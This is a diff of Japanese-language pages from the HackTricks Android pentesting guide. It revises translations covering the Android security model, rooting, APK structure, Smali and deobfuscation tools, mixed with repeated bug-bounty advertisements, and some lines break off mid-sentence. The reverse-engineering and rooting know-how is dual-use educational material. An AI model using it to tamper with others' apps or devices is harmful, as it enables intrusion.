{% content-ref url="inspeckage-tutorial.md" %}
|
||||
[inspeckage-tutorial.md](inspeckage-tutorial.md)
|
||||
|
@ -581,7 +610,7 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を検索するために_.apk_ファイルを分析します。これは、APKを展開し、脆弱性を検出するための一連のルールを適用することによって行われます。
|
||||
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を検出するために_.apk_ファイルを分析します。これは、APKを展開し、一連のルールを適用して脆弱性を検出することによって行われます。
|
||||
|
||||
すべてのルールは、`rules.json`ファイルに集約されており、各企業やテスターは必要なものを分析するために独自のルールを作成することができます。
|
||||
|
||||
|
@ -593,7 +622,7 @@ super-analyzer {apk_file}
|
|||
|
||||
![](<../../.gitbook/assets/image (62).png>)
|
||||
|
||||
StaCoAnは、モバイルアプリケーションの[静的コード解析](https://en.wikipedia.org/wiki/Static\_program\_analysis)を実行する開発者、バグバウンティハンター、倫理的ハッカーを支援する**クロスプラットフォーム**ツールです。
|
||||
StaCoAnは、モバイルアプリケーションの[静的コード解析](https://en.wikipedia.org/wiki/Static\_program\_analysis)を実行する開発者、バグバウンティハンター、倫理的ハッカーを支援する**クロスプラットフォーム**ツールです\*。
|
||||
|
||||
このツールでは、モバイルアプリケーションファイル(.apkまたは.ipaファイル)をStaCoAnアプリケーションにドラッグアンドドロップすると、視覚的でポータブルなレポートが生成されます。設定やワードリストを調整して、カスタマイズされた体験を得ることができます。
|
||||
|
||||
|
@ -601,10 +630,10 @@ StaCoAnは、モバイルアプリケーションの[静的コード解析](http
|
|||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを支援するAndroid脆弱性分析システムです。\
|
||||
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
[Windowsリリース](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
androbugs.exe -f [APK file]
|
||||
|
@ -613,7 +642,7 @@ androbugs.exe -f [APK file]
|
|||
|
||||
**Androwarn**は、主な目的はAndroidアプリケーションによって開発された潜在的な悪意のある振る舞いを検出し、ユーザーに警告することです。
|
||||
|
||||
検出は、アプリケーションのDalvikバイトコード(Smali形式)の**静的解析**によって行われます。この解析には、[`androguard`](https://github.com/androguard/androguard)ライブラリが使用されます。
|
||||
検出は、アプリケーションのDalvikバイトコード(Smali形式)の**静的解析**によって行われます。これには、[`androguard`](https://github.com/androguard/androguard)ライブラリが使用されます。
|
||||
|
||||
このツールは、次のような「悪い」アプリケーションの一般的な振る舞いを探します:電話識別子の外部への漏洩、オーディオ/ビデオフローの傍受、PIMデータの変更、任意のコードの実行...
|
||||
```
|
||||
|
@ -636,33 +665,40 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
### Koodous
|
||||
|
||||
マルウェアの検出に便利です:[https://koodous.com/](https://koodous.com)
|
||||
マルウェアを検出するのに便利です:[https://koodous.com/](https://koodous.com)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **web3のバグについてもっと学ぶ**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長する日々のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## コードの難読化/難読化解除
|
||||
|
||||
コードの難読化に使用するサービスと設定によっては、秘密情報が難読化される場合とされない場合があります。
|
||||
コードを難読化するために使用するサービスと設定によっては、秘密情報が難読化される場合とされない場合があります。
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
**ProGuard**は、Javaコードを縮小、最適化、難読化するためのオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardは無料のソフトウェアであり、GNU General Public License、バージョン2で配布されています。
|
||||
**ProGuard**は、Javaコードを縮小、最適化、難読化するためのオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出および削除することができます。ProGuardは無料のソフトウェアであり、GNU General Public License、バージョン2で配布されています。
|
||||
|
||||
ProGuardはAndroid SDKの一部として配布され、リリースモードでアプリケーションをビルドする際に実行されます。
|
||||
|
||||
参照元:[https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
出典:[https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
APKの難読化を解除するためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)にあります。
|
||||
APKの難読化を解除するためのステップバイステップガイドは、[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけることができます。
|
||||
|
||||
(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のようでした:
|
||||
|
||||
|
@ -670,17 +706,17 @@ APKの難読化を解除するためのステップバイステップガイド
|
|||
- 結果をFilterInputStreamを継承したクラスにフィードして復号化する
|
||||
- いくつかの無駄な難読化を行い、リバーサーの時間を数分無駄にする
|
||||
- 復号化された結果をZipInputStreamにフィードしてDEXファイルを取得する
|
||||
- 最終的に`loadDex`メソッドを使用して生成されたDEXをリソースとしてロードする
|
||||
- 最終的に`loadDex`メソッドを使用して得られたDEXをリソースとしてロードする
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuardは、Androidの難読化ツールによって実行された難読化のプロセスを逆転させます。これにより、コードの検査やライブラリの予測など、さまざまなセキュリティ分析が可能になります。**
|
||||
|
||||
難読化されたAPKをプラットフォームにアップロードできます。
|
||||
難読化されたAPKをプラットフォームにアップロードすることができます。
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
これは**汎用のAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化して人間が理解しやすくします。各最適化タイプはシンプルで汎用的であり、特定の難読化のタイプは問題ありません。
|
||||
これは**汎用のAndroid難読化解除ツール**です。Simplifyはアプリを**仮想的に実行**してその動作を理解し、コードを最適化して同じ動作をするが人間にとって理解しやすいものにします。各最適化タイプはシンプルで汎用的であり、特定の難読化タイプは問題ありません。
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -694,7 +730,7 @@ APKiDは、APKの作成方法に関する情報を提供します。多くの**
|
|||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マシンであり、リバースエンジニアリングとマルウェア分析のためのさまざまなセキュリティギークと研究者からの最新のフレームワーク、チュートリアル、ラボを含んでいます。
|
||||
AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マシンであり、さまざまなセキュリティギークや研究者からの最新のフレームワーク、チュートリアル、ラボを含んでいます。逆向きエンジニアリングとマルウェア分析のためのものです。
|
||||
|
||||
### OWASP
|
||||
|
||||
|
@ -709,24 +745,40 @@ AndroL4bは、ubuntu-mateをベースにしたAndroidセキュリティ仮想マ
|
|||
|
||||
詳細については、次を参照してください:
|
||||
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) リソースの素晴らしいリストです
|
||||
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース
|
||||
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
|
||||
## テストするために
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) リソースの素晴らしいリストです
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Androidクイックコース
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
## テストする
|
||||
|
||||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **web3のバグについてもっと学ぶ**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**し、または**Twitter**で私を[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* 自分のハッキングテクニックを共有するために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,31 +12,38 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## Androidセキュリティモデル
|
||||
|
||||
**2つのレイヤーがあります:**
|
||||
**2つのレイヤーがあります:**
|
||||
|
||||
* **OS**は、インストールされたアプリケーションを互いに分離します。
|
||||
* **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を設定できるようにします。
|
||||
|
||||
### UIDの分離
|
||||
|
||||
**各アプリケーションには、特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDが所有するファイルと共有されるファイルとのみやり取りできます**。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーのみがアプリのデータにアクセスできます。
|
||||
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われるため、**アプリは自分のユーザーIDまたは共有ファイルの所有者が所有するファイルとのみやり取りできます**。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーのみがアプリのデータにアクセスできます。
|
||||
|
||||
### UIDの共有
|
||||
|
||||
**2つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するために便利ですが、1つが侵害されると両方のアプリケーションのデータが侵害されます。そのため、この動作は**推奨されません**。\
|
||||
**同じUIDを共有するには、アプリケーションはマニフェストで同じ `android:sharedUserId` の値を定義する必要があります。**
|
||||
**2つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するために便利ですが、1つが侵害されると両方のアプリケーションのデータが侵害されます。これがこの動作が**推奨されない**理由です。\
|
||||
**同じUIDを共有するには、アプリケーションはマニフェストで同じ`android:sharedUserId`値を定義する必要があります。**
|
||||
|
||||
### サンドボックス
|
||||
|
||||
|
@ -45,113 +52,114 @@ Android 5.0(L)以降、**SELinux**が強制されています。基本的に
|
|||
|
||||
### 権限
|
||||
|
||||
アプリをインストールするときに、アプリは**権限を要求**します。これは、**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求していることを意味します。**uses-permission**要素は、**name**属性内の要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定したバージョンよりも高いバージョンでは権限を要求しないようにします。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はありませんが、**動的に権限を要求**することもできますが、すべての権限は**マニフェストで宣言**する必要があります。
|
||||
アプリをインストールすると、アプリは**権限が設定された場合に権限を要求**します。権限は、**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求していることを示しています。**uses-permission**要素は、**name**属性内の要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定したバージョンよりも高いバージョンでは権限を要求しないようにします。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はなく、**動的に権限を要求する**こともできますが、すべての権限は**マニフェストで宣言**する必要があります。
|
||||
|
||||
アプリが機能を公開する場合、**指定された権限を持つアプリのみがアクセスできるように制限**することができます。\
|
||||
権限要素には3つの属性があります。
|
||||
権限要素には3つの属性があります:
|
||||
|
||||
* 権限の**名前**
|
||||
* 権限をグループ化するための**permission-group**属性
|
||||
* 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります。
|
||||
* **Normal**: アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。
|
||||
* **Dangerous**: 権限が要求するアプリケーションに**特権アクセス**を与えます。**ユーザーに承認を要求します**。
|
||||
* **Signature**: コンポーネントをエクスポートするアプリと同じ証明書で署名された**アプリのみが権限を付与**できます。これは最も強力な保護のタイプです。
|
||||
* **SignatureOrSystem**: コンポーネントをエクスポートするアプリと同じ証明書で署名された**アプリまたはシステムレベルのアクセスで実行されるアプリ**のみが権限を付与できます。
|
||||
* 関連する権限をグループ化するための**permission-group**属性
|
||||
* 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります:
|
||||
* **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認する必要はありません**。
|
||||
* **Dangerous**:権限が要求するアプリケーションに**特権アクセス**を与えます。**ユーザーに承認を要求します**。
|
||||
* **Signature**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護のタイプです。
|
||||
* **SignatureOrSystem**:コンポーネントをエクスポートする**同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されるアプリ**のみが権限を付与されることができます。
|
||||
|
||||
## 事前インストールされたアプリケーション
|
||||
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化**されています(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**実行時に多くの権限で実行されている**場合があるため、確認する価値があります(rootとして)。
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化されている**場合があります(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**実行時に多くの権限で実行されている**場合があるため、確認する価値があります。
|
||||
|
||||
* **AOSP**(Android OpenSource Project)**ROM**に含まれるもの
|
||||
* デバイスの**製造元**によって追加されたもの
|
||||
* 携帯電話の**プロバイダ**によって追加されたもの(彼らから購入した場合)
|
||||
* 携帯電話プロバイダーによって追加されたもの(それらから購入した場合)
|
||||
## ルーティング
|
||||
|
||||
## ルート化
|
||||
物理的なAndroidデバイスにルートアクセスを取得するためには、通常、デバイスとバージョンに特定の脆弱性を利用する1つまたは2つの脆弱性を悪用する必要があります。\
|
||||
エクスプロイトが成功した後、通常はLinuxの`su`バイナリがユーザーのPATH環境変数で指定された場所(`/system/xbin`など)にコピーされます。
|
||||
|
||||
物理的なAndroidデバイスでルートアクセスを取得するには、通常、**デバイス**と**バージョン**に**特定の脆弱性**を利用する1つまたは2つの**脆弱性**を**悪用**する必要があります。\
|
||||
悪用が成功した場合、通常はLinuxの`su`バイナリがユーザーのPATH環境変数で指定された場所(`/system/xbin`など)にコピーされます。
|
||||
suバイナリが設定されると、別のAndroidアプリが`su`バイナリとのインターフェースを使用してルートアクセスのリクエストを処理します。これには、Google Playストアで入手できる**Superuser**や**SuperSU**などのアプリが使用されます。
|
||||
|
||||
suバイナリが設定されると、**Superuser**や**SuperSU**(Google Playストアで利用可能)などの別のAndroidアプリを使用して、`su`バ
|
||||
### ROMs
|
||||
{% hint style="danger" %}
|
||||
ルーティングプロセスは非常に危険で、デバイスに重大な損害を与える可能性があります。
|
||||
{% endhint %}
|
||||
|
||||
カスタムファームウェアをインストールすることで、OSを置き換えることが可能です。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。OmniROMとLineageOSは、最も人気のあるファームウェアの2つです。
|
||||
### ROM
|
||||
|
||||
デバイスにカスタムファームウェアをインストールするためには、常にルート化する必要はありません。一部のメーカーは、ブートローダーのロック解除を十分に文書化された安全な方法で許可しています。
|
||||
カスタムファームウェアをインストールしてOSを置き換えることができます。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。\
|
||||
**OmniROM**と**LineageOS**は、最も人気のあるファームウェアの2つです。
|
||||
|
||||
デバイスにカスタムファームウェアをインストールするためには、必ずしもデバイスをルート化する必要はありません。**一部のメーカーは、ブートローダーのアンロックを公式にサポートしています**。
|
||||
|
||||
### 影響
|
||||
|
||||
デバイスがルート化されると、任意のアプリがルートアクセスを要求することができます。悪意のあるアプリがこれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
|
||||
デバイスがルート化されると、任意のアプリがルートアクセスを要求することができます。悪意のあるアプリがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
|
||||
|
||||
## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
この導入は、[https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)から引用されています。
|
||||
この導入は[https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html)から引用されています。
|
||||
|
||||
### 基礎の復習 <a href="#fundamentals-review" id="fundamentals-review"></a>
|
||||
|
||||
* Androidアプリケーションは_APKファイル形式_であり、APKは基本的にZIPファイルです(ファイルの拡張子を.zipに変更し、unzipを使用して内容を開くことができます)。
|
||||
* Androidアプリケーションは_APKファイル形式_であり、**APKは基本的にZIPファイル**です(ファイルの拡張子を.zipに変更して、unzipを使用して内容を開くことができます)。
|
||||
* APKの内容(完全ではありません)
|
||||
* AndroidManifest.xml
|
||||
* **AndroidManifest.xml**
|
||||
* resources.arsc/strings.xml
|
||||
* resources.arsc: 例えばバイナリXMLなどの、事前にコンパイルされたリソースを含むファイルです。
|
||||
* resources.arsc:バイナリXMLなどの、事前にコンパイルされたリソースを含むファイルです。
|
||||
* res/xml/files\_paths.xml
|
||||
* META-INF/
|
||||
* 証明書がここにあります!
|
||||
* classes.dex
|
||||
* **classes.dex**
|
||||
* アプリケーションがデフォルトで実行するJava(またはKotlin)コードのDalvikバイトコードです。
|
||||
* lib/
|
||||
* アプリケーションのネイティブライブラリは、デフォルトではここにあります! lib/ディレクトリの下に、cpu固有のディレクトリがあります。
|
||||
* `armeabi`: ARMベースのプロセッサのためのコンパイルされたコードのみ
|
||||
* `armeabi-v7a`: ARMv7およびそれ以上のベースのプロセッサのためのコンパイルされたコードのみ
|
||||
* `x86`: X86用のコンパイルされたコード
|
||||
* `mips`: MIPSプロセッサのためのコンパイルされたコードのみ
|
||||
* `armeabi`:すべてのARMベースのプロセッサのコンパイル済みコードのみ
|
||||
* `armeabi-v7a`:すべてのARMv7およびそれ以上のベースのプロセッサのコンパイル済みコードのみ
|
||||
* `x86`:X86のコンパイル済みコード
|
||||
* `mips`:MIPSプロセッサのコンパイル済みコードのみ
|
||||
* assets/
|
||||
* アプリが必要とする他のファイル
|
||||
* ここには、追加のネイティブライブラリやDEXファイルが含まれる場合があります。これは、マルウェアの作成者が追加のコード(ネイティブまたはDalvik)を「隠す」ために、デフォルトの場所に含めない場合に特に発生することがあります。
|
||||
* アプリが必要とする他のファイルが含まれる場所です。
|
||||
* ここには、追加のネイティブライブラリやDEXファイルが含まれる場合があります。これは、マルウェアの作成者が追加のコード(ネイティブまたはDalvik)を「隠す」ために、デフォルトの場所に含めない場合に特に発生します。
|
||||
* res/
|
||||
* resources.arscにコンパイルされていないリソースを含むディレクトリ
|
||||
|
||||
### DalvikとSmali
|
||||
### **Dalvik & Smali**
|
||||
|
||||
ほとんどのAndroidアプリケーションはJavaで書かれています。Kotlinもサポートされており、Javaとの相互運用が可能です。このワークショップの残りの部分では、便宜上、「Java」と言及する場合は「JavaまたはKotlin」と考えてください。デスクトップアプリケーションのようにJavaコードがJava仮想マシン(JVM)で実行されるのではなく、AndroidではJavaは\_Dalvik Executable(DEX)バイトコード\_\*\*形式にコンパイルされます\*\*。Androidの以前のバージョンでは、バイトコードはDalvik仮想マシンによって変換されました。最近のAndroidのバージョンでは、Androidランタイム(ART)が使用されています。
|
||||
開発者がJavaで書き、コードがDEXバイトコードにコンパイルされる場合、逆アセンブルするためには逆の方向で作業します。
|
||||
ほとんどのAndroidアプリケーションはJavaで書かれています。Kotlinもサポートされており、Javaとの相互運用が可能です。このワークショップの残りの部分では、私が「Java」と言及するときは「JavaまたはKotlin」という意味だと思ってください。デスクトップアプリケーションのようにJavaコードがJava仮想マシン(JVM)で実行されるのではなく、AndroidではJavaは\_Dalvik Executable(DEX)バイトコード\_\*\*形式にコンパイルされます\*\*。Androidの以前のバージョンでは、バイトコードはDalvik仮想マシンによって変換されました。最近のAndroidのバージョンでは、Androidランタイム(ART)が使用されています。\
|
||||
開発者がJavaで書き、コードがDEXバイトコードにコンパイルされる場合、リバースエンジニアリングでは逆の方向で作業します。\
|
||||
\\
|
||||
|
||||
![開発者のプロセスのフローチャート。JavaからDEXバイトコードへ](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
|
||||
|
||||
![リバースエンジニアのプロセスのフローチャート。DEXバイトコードからSMALIから逆コンパイルされたJavaへ](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
|
||||
|
||||
**SmaliはDalvikバイトコードの人間が読めるバージョンです**。厳密には、Smaliとbaksmaliはツール(アセンブラとディスアセンブラ)の名前ですが、Androidでは、私たちはしばしば「Smali」という用語を命令に言及するために使用します。コンパイルされたC/C++コードのリバースエンジニアリングやコンピュータアーキテクチャを行ったことがある場合、SMALIはアセンブリ言語のようなものです。高レベルのソースコードとバイトコードの間のものです。
|
||||
**SmaliはDalvikバイトコードの人間が読めるバージョンです**。厳密には、Smaliとbaksmaliはツール(アセンブラとディスアセンブラ)の名前ですが、Androidでは、私たちはしばしば「Smali」という用語を命令に言及するために使用します。リバースエンジニアリングやコンピュータアーキテクチャでコンパイルされたC/C++コードを行ったことがある場合、SMALIはアセンブリ言語のようなものです。高レベルのソースコードとバイトコードの間のものです。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **でweb3のバグについてもっと学ぶ**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金したときにのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長途中のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## インテント
|
||||
|
||||
インテントは、Androidアプリがコンポーネント間または他のアプリとの間で通信するための主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間またはコンポーネント間でデータを運ぶこともできます。
|
||||
|
||||
したがって、インテントは基本的には**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることもありますし、特定の受信者なしで送信されることもあります**。
|
||||
インテントは次のように使用できます。
|
||||
したがって、インテントは基本的
|
||||
### 暗黙的なインテント
|
||||
|
||||
* アクティビティを開始するために、通常はアプリのユーザーインターフェースを開くために使用します。
|
||||
* システムとアプリに変更を通知するためのブロードキャストとして
|
||||
* バックグラウンドサービスの開始、停止、および通信のために
|
||||
* ContentProviderを介してデータにアクセスするために
|
||||
* イベントを処理するためのコールバックとして
|
||||
|
||||
不適切な実装は、データの漏洩、制限された機能の呼び出し、およびプログラムのフローの操作につながる可能性があります。
|
||||
|
||||
### インテントフィルター
|
||||
|
||||
